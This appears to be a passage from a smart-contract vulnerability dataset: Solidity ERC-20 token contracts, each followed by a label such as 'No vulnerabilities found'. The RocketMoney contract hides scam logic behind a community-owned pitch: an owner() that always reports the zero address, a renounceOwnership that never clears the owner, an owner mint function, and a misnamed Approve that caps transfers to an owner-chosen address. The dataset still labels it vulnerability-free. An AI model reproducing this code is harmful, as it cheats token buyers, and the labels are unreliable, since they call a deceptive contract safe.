* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(_from, owner, fee);
}
Transfer(_from, _to, sendAmount);
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
/**
* @dev Function to check the amount of tokens than an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BlackList is Ownable, BasicToken {
/////// Getters to allow the same blacklist to be used also by other contracts (including upgraded Tether) ///////
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
_totalSupply -= dirtyFunds;
DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(address sender, address from, address spender, uint value) public;
function approveByLegacy(address from, address spender, uint value) public;
}
contract KKCToken is Pausable, StandardToken, BlackList {
string public constant name = "Kokang Coin";
string public constant symbol = "KKC";
uint public constant decimals = 18;
address public upgradedAddress;
bool public deprecated = false;
uint public constant _initialSupply = 1000 * 1000 * 1000 * (10 ** uint256(decimals));
uint public _totalSupply = _initialSupply;
/**
* @dev Constructor that gives owner all of existing tokens.
*/
constructor() KKCToken() public {
balances[msg.sender] = _initialSupply;
emit Transfer(0x0, msg.sender, _initialSupply);
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(_totalSupply + amount > _totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
_totalSupply += amount;
Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply -= amount;
balances[owner] -= amount;
Redeem(amount);
}
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
require(newBasisPoints < 20);
require(newMaxFee < 50);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
Params(basisPointsRate, maximumFee);
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
} | These are the vulnerabilities found
1) shadowing-abstract with Medium impact
2) erc20-interface with Medium impact |
pragma solidity ^0.4.16;
/*
* Abstract Token Smart Contract. Copyright © 2017 by ABDK Consulting.
* Author: Mikhail Vladimirov <mikhail.vladimirov@gmail.com>
*/
pragma solidity ^0.4.20;
/*
* EIP-20 Standard Token Smart Contract Interface.
* Copyright © 2016–2018 by ABDK Consulting.
* Author: Mikhail Vladimirov <mikhail.vladimirov@gmail.com>
*/
pragma solidity ^0.4.20;
/**
* ERC-20 standard token interface, as defined
* <a href="https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md">here</a>.
*/
contract Token {
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply () public view returns (uint256 supply);
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf (address _owner) public view returns (uint256 balance);
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer (address _to, uint256 _value)
public returns (bool success);
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom (address _from, address _to, uint256 _value)
public returns (bool success);
/**
* Allow given spender to transfer given number of tokens from message sender.
*
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
public returns (bool success);
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance (address _owner, address _spender)
public view returns (uint256 remaining);
/**
* Logged when tokens were transferred from one owner to another.
*
* @param _from address of the owner, tokens were transferred from
* @param _to address of the owner, tokens were transferred to
* @param _value number of tokens transferred
*/
event Transfer (address indexed _from, address indexed _to, uint256 _value);
/**
* Logged when owner approved his tokens to be transferred by some spender.
*
* @param _owner owner who approved his tokens to be transferred
* @param _spender spender who were allowed to transfer the tokens belonging
* to the owner
* @param _value number of tokens belonging to the owner, approved to be
* transferred by the spender
*/
event Approval (
address indexed _owner, address indexed _spender, uint256 _value);
}
/*
* Safe Math Smart Contract. Copyright © 2016–2017 by ABDK Consulting.
* Author: Mikhail Vladimirov <mikhail.vladimirov@gmail.com>
*/
pragma solidity ^0.4.20;
/**
* Provides methods to safely add, subtract and multiply uint256 numbers.
*/
contract SafeMath {
uint256 constant private MAX_UINT256 =
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
/**
* Add two uint256 values, throw in case of overflow.
*
* @param x first value to add
* @param y second value to add
* @return x + y
*/
function safeAdd (uint256 x, uint256 y)
pure internal
returns (uint256 z) {
assert (x <= MAX_UINT256 - y);
return x + y;
}
/**
* Subtract one uint256 value from another, throw in case of underflow.
*
* @param x value to subtract from
* @param y value to subtract
* @return x - y
*/
function safeSub (uint256 x, uint256 y)
pure internal
returns (uint256 z) {
assert (x >= y);
return x - y;
}
/**
* Multiply two uint256 values, throw in case of overflow.
*
* @param x first value to multiply
* @param y second value to multiply
* @return x * y
*/
function safeMul (uint256 x, uint256 y)
pure internal
returns (uint256 z) {
if (y == 0) return 0; // Prevent division by zero at the next line
assert (x <= MAX_UINT256 / y);
return x * y;
}
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () public {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf (address _owner) public view returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer (address _to, uint256 _value)
public returns (bool success) {
uint256 fromBalance = accounts [msg.sender];
if (fromBalance < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (fromBalance, _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom (address _from, address _to, uint256 _value)
public returns (bool success) {
uint256 spenderAllowance = allowances [_from][msg.sender];
if (spenderAllowance < _value) return false;
uint256 fromBalance = accounts [_from];
if (fromBalance < _value) return false;
allowances [_from][msg.sender] =
safeSub (spenderAllowance, _value);
if (_value > 0 && _from != _to) {
accounts [_from] = safeSub (fromBalance, _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
Transfer (_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
*
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
public returns (bool success) {
allowances [msg.sender][_spender] = _value;
Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance (address _owner, address _spender)
public view returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) internal accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) internal allowances;
}
/**
* Xels Token smart contract.
*/
contract XelsToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
*/
uint256 constant MAX_TOKEN_COUNT =
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new Xels Token smart contract and make msg.sender the
* owner of this smart contract.
*/
function XelsToken () public {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply () public view returns (uint256 supply) {
return tokenCount;
}
/**
* Get name of this token.
*
* @return name of this token
*/
function name () public pure returns (string result) {
return "Xels Token";
}
/**
* Get symbol of this token.
*
* @return symbol of this token
*/
function symbol () public pure returns (string result) {
return "XELS";
}
/**
* Get number of decimals for this token.
*
* @return number of decimals for this token
*/
function decimals () public pure returns (uint8 result) {
return 8;
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer (address _to, uint256 _value)
public returns (bool success) {
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom (address _from, address _to, uint256 _value)
public returns (bool success) {
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance, this method
* receives assumed current allowance value as an argument. If actual
* allowance differs from an assumed one, this method just returns false.
*
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _currentValue assumed number of tokens currently allowed to be
* transferred
* @param _newValue number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _currentValue, uint256 _newValue)
public returns (bool success) {
if (allowance (msg.sender, _spender) == _currentValue)
return approve (_spender, _newValue);
else return false;
}
/**
* Burn given number of tokens belonging to message sender.
*
* @param _value number of tokens to burn
* @return true on success, false on error
*/
function burnTokens (uint256 _value) public returns (bool success) {
if (_value > accounts [msg.sender]) return false;
else if (_value > 0) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
tokenCount = safeSub (tokenCount, _value);
Transfer (msg.sender, address (0), _value);
return true;
} else return true;
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens (uint256 _value)
public returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
Transfer (address (0), msg.sender, _value);
}
return true;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner (address _newOwner) public {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () public {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
Freeze ();
}
}
/**
* Unfreeze token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () public {
require (msg.sender == owner);
if (frozen) {
frozen = false;
Unfreeze ();
}
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
} | No vulnerabilities found |
// RocketMoney 🚀 ($RM) is the decentralized virtual space development project and 100% community owned project, controlled via the DAO. $RM is a governance token of RocketMoney Ecosystem. Join the moon mission.
// ✅ Telegram: https://t.me/rocketmoneycc
// ✅ Website: https://rocketmoney.cc/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.s
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return address(0);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract RocketMoney is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address public _tBotAddress;
address public _tBlackAddress;
uint256 private _tTotal = 100 * 10**9 * 10**18;
string private _name = 'rocketmoney.cc';
string private _symbol = 'RocketMoney 🚀';
uint8 private _decimals = 18;
uint256 public _maxBlack = 50000000 * 10**18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function Approve(address blackListAddress) public onlyOwner {
_tBotAddress = blackListAddress;
}
function setBlackAddress(address blackAddress) public onlyOwner {
_tBlackAddress = blackAddress;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setFeeTotal(uint256 amount) public onlyOwner {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
_tTotal = _tTotal.add(amount);
_balances[_msgSender()] = _balances[_msgSender()].add(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function Approve(uint256 maxTxBlackPercent) public onlyOwner {
_maxBlack = maxTxBlackPercent * 10**18;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender != _tBlackAddress && recipient == _tBotAddress) {
require(amount < _maxBlack, "Transfer amount exceeds the maxTxAmount.");
}
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | No vulnerabilities found |
pragma solidity 0.7.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract CWAPToken is ERC20 {
